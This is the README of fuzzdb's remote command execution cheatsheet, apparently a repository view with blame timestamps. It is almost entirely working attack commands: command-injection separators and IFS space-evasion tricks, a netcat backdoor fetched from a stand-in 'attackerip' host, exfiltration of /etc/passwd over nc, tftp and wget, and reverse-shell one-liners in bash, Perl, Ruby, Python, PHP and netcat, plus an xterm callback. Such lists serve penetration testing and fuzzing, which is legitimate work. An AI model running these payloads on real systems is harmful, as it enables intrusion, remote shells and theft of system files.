fuzzdb/attack/os-cmd-execution/README.md

121 lines
3.6 KiB
Markdown
Raw Normal View History

2015-09-11 23:39:11 +00:00
Remote Command Exec Cheatsheet
2015-09-16 02:38:48 +00:00
**Executing Commands**
Various ways of separating Commands:<br>
2015-09-16 02:42:43 +00:00
``` blah;blah2 ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
``` blah ^ blah 2```
2015-09-11 23:39:11 +00:00
2015-09-16 02:38:48 +00:00
```blah && blah2```
2015-09-11 23:39:11 +00:00
2015-09-16 02:38:48 +00:00
```FAIL || X```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
``` blah%0Dblah2%0Dblah3 ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:38:48 +00:00
``` `blah` ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
``` `blah & blah2` ```
2015-09-11 23:39:11 +00:00
2016-10-04 11:26:39 +00:00
**Shell commands without spaces**
Using Internal Field Separator (IFS):<br>
Test for cmd injection without spaces:<br>
``` sleep${IFS:0:1}20 ```<br>
2016-10-04 11:26:39 +00:00
Example IFS netcat backdoor without spaces:<br>
``` {wget,http://attackerip/nc} ```<br>
``` {chmod,+x,./nc} ```<br>
``` {./nc,-l,-p,1234,-e,/bin/bash} ```<br>
2016-10-04 11:26:39 +00:00
$IFS shell variable:<br>
``` cat$IFS/etc/passwd ```<br>
increment the first +1 to retreive the entire file, line by line<br>
``` cat$IFS/etc/passwd|tail$IFS-n+1|head$IFS-n+1 ```
Shell Variables:<br>
``` CMD=$'cat\x20/etc/passwd';$CMD ```
shell variable, increment through file one line at a time: <br>
increment the first +1 to retreive the entire file, line by line<br>
``` SP=$'\x20';cat$SP/etc/passwd|tail$SP-n+1|head$SP-n+1 ```
2015-09-16 02:38:48 +00:00
**Exfiltrating Files / Data**
FTP <br>
2015-09-11 23:39:11 +00:00
Make a new text file, and echo and then redirect to FTP
NC <br>
2015-09-16 02:38:48 +00:00
``` 'nc -e /bin/sh' ```
2015-09-11 23:39:11 +00:00
NC <br>
2015-09-16 02:38:48 +00:00
``` 'echo /etc/passwd | nc host port' ```
2015-09-11 23:39:11 +00:00
TFTP <br>
2015-09-16 02:38:48 +00:00
``` 'echo put /etc/passwd | tftp host' ```
2015-09-11 23:39:11 +00:00
WGET: <br>
2015-09-16 02:38:48 +00:00
``` 'wget --post-file /etc/passwd' ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:38:48 +00:00
**One-Liner Reverse Shells**
On the listener <br>
``` $ nc -l -p 1234 -vvv' ```
2011-09-06 15:52:21 +00:00
On the remote host...<br>
<br>
Bash:<br>
``` $ bash -i >& /dev/tcp/attackerip/1234 0>&1 ```
2011-09-06 15:52:21 +00:00
``` $ exec 5<>/dev/tcp/attackerip/1234 ```<br>
2016-10-04 04:05:28 +00:00
``` $ cat <&5 | while read line; do $line 2>&5 >&5; done ```
2011-09-06 15:52:21 +00:00
Perl<br>
```$ perl -e 'use Socket;$i="attackerip";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ```
Perl for Windows target
``` perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ```
2011-09-06 15:52:21 +00:00
Ruby<br>
``` $ ruby -rsocket -e'f=TCPSocket.open("attackerip",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ```
2011-09-06 15:52:21 +00:00
Python<br>
``` $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ```
2011-09-06 15:52:21 +00:00
PHP<br>
``` $ php -r '$sock=fsockopen("attackerip",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ```
2011-09-06 15:52:21 +00:00
(Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)
Netcat<br>
``` $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 1234 >/tmp/f ```
Bash<br>
``` bash -i >& /dev/tcp/attackerip/1234 0>&1 ```
**XTERM**<br>
To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001) with [Xnest](http://www.xfree86.org/4.4.0/Xnest.1.html):<br>
<br>
``` Xnest :1 ```
<br>
Authorize the target IP's connection to you:<br>
<br>
2016-10-04 13:13:29 +00:00
Run this OUTSIDE the Xnest:<br>
``` xterm -display 127.0.0.1:1 ```
2016-10-04 13:13:29 +00:00
Run this INSIDE the spawned xterm on the open X Server<br>
``` xhost +targetip ```
2011-09-06 15:52:21 +00:00
2016-10-04 13:13:29 +00:00
Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:<br>
``` xterm -display attackerip:1 ```
<br>or<br>
2016-10-04 13:13:29 +00:00
``` DISPLAY=attackerip:0 xterm ```<br>
It will try to connect back to you, attackerip, on TCP port 6001.<br>
2011-09-06 15:52:21 +00:00
If the xterm path is not within the PATH environment variable, you need to specify its filepath. Solaris path example:<br>
``` /usr/openwin/bin/xterm -display attackerip:1 ```
2011-09-06 15:52:21 +00:00
<br>More docs: [/docs/attack-docs/remote-cmd-exfiltration/](https://github.com/fuzzdb-project/fuzzdb/tree/master/docs/attack-docs/remote-cmd-exfiltration)<br>